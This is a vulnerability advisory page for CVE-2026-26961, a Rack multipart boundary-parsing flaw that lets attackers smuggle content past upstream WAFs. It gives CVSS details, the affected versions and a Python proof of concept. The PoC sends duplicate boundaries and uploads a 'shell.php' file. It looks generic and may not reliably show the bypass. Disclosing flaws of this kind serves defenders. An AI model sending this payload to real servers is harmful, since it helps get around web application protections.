Security Vulnerability Report
中文
CVE-2026-26961 CVSS 3.7 LOW

CVE-2026-26961

Published: 2026-04-02 17:16:22
Last Modified: 2026-04-16 17:33:26

Description

Rack is a modular Ruby web server interface. Prior to versions 2.2.23, 3.1.21, and 3.2.6, Rack::Multipart::Parser extracts the boundary parameter from multipart/form-data using a greedy regular expression. When a Content-Type header contains multiple boundary parameters, Rack selects the last one rather than the first. In deployments where an upstream proxy, WAF, or intermediary interprets the first boundary parameter, this mismatch can allow an attacker to smuggle multipart content past upstream inspection and have Rack parse a different body structure than the intermediary validated. This issue has been patched in versions 2.2.23, 3.1.21, and 3.2.6.

CVSS Details

CVSS Score
3.7
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:rack:rack:*:*:*:*:*:ruby:*:* - VULNERABLE
cpe:2.3:a:rack:rack:*:*:*:*:*:ruby:*:* - VULNERABLE
cpe:2.3:a:rack:rack:*:*:*:*:*:ruby:*:* - VULNERABLE
Rack < 2.2.23
Rack < 3.1.21
Rack < 3.2.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL url = "http://vulnerable-app/upload" # The Content-Type header contains two boundaries. # The WAF/Proxy might parse 'boundary=----WebKitFormBoundaryA' # The vulnerable Rack parses 'boundary=----WebKitFormBoundaryB' headers = { "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryA; boundary=----WebKitFormBoundaryB" } # Construct body based on the LAST boundary (what Rack sees) # This payload might be blocked if WAF saw it, but WAF is looking at Boundary A logic. payload = ( "------WebKitFormBoundaryB\r\n" "Content-Disposition: form-data; name=\"file\"; filename=\"shell.php\"\r\n" "Content-Type: application/x-httpd-php\r\n" "\r\n" "<?php phpinfo(); ?>\r\n" "------WebKitFormBoundaryB--\r\n" ) response = requests.post(url, headers=headers, data=payload) print(f"Status: {response.status_code}") print("Response:") print(response.text)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-26961", "sourceIdentifier": "[email protected]", "published": "2026-04-02T17:16:21.973", "lastModified": "2026-04-16T17:33:26.013", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Rack is a modular Ruby web server interface. Prior to versions 2.2.23, 3.1.21, and 3.2.6, Rack::Multipart::Parser extracts the boundary parameter from multipart/form-data using a greedy regular expression. When a Content-Type header contains multiple boundary parameters, Rack selects the last one rather than the first. In deployments where an upstream proxy, WAF, or intermediary interprets the first boundary parameter, this mismatch can allow an attacker to smuggle multipart content past upstream inspection and have Rack parse a different body structure than the intermediary validated. This issue has been patched in versions 2.2.23, 3.1.21, and 3.2.6."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 3.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-436"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:rack:rack:*:*:*:*:*:ruby:*:*", "versionEndExcluding": "2.2.23", "matchCriteriaId": "AD5DE7DE-3A8B-4064-A7D5-1E117A101E81"}, {"vulnerable": true, "criteria": "cpe:2.3:a:rack:rack:*:*:*:*:*:ruby:*:*", "versionStartIncluding": "3.0.0", "versionEndExcluding": "3.1.21", "matchCriteriaId": "6948AAA6-873D-46BA-AA22-4C81138128E1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:rack:rack:*:*:*:*:*:ruby:*:*", "versionStartIncluding": "3.2.0", "versionEndExcluding": "3.2.6", "matchCriteriaId": "3FB592AD-E826-49BE-AC6D-E5F55FDCC96E"}]}]}], "references": [{"url": "https://github.com/rack/rack/security/advisories/GHSA-vgpv-f759-9wx3", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}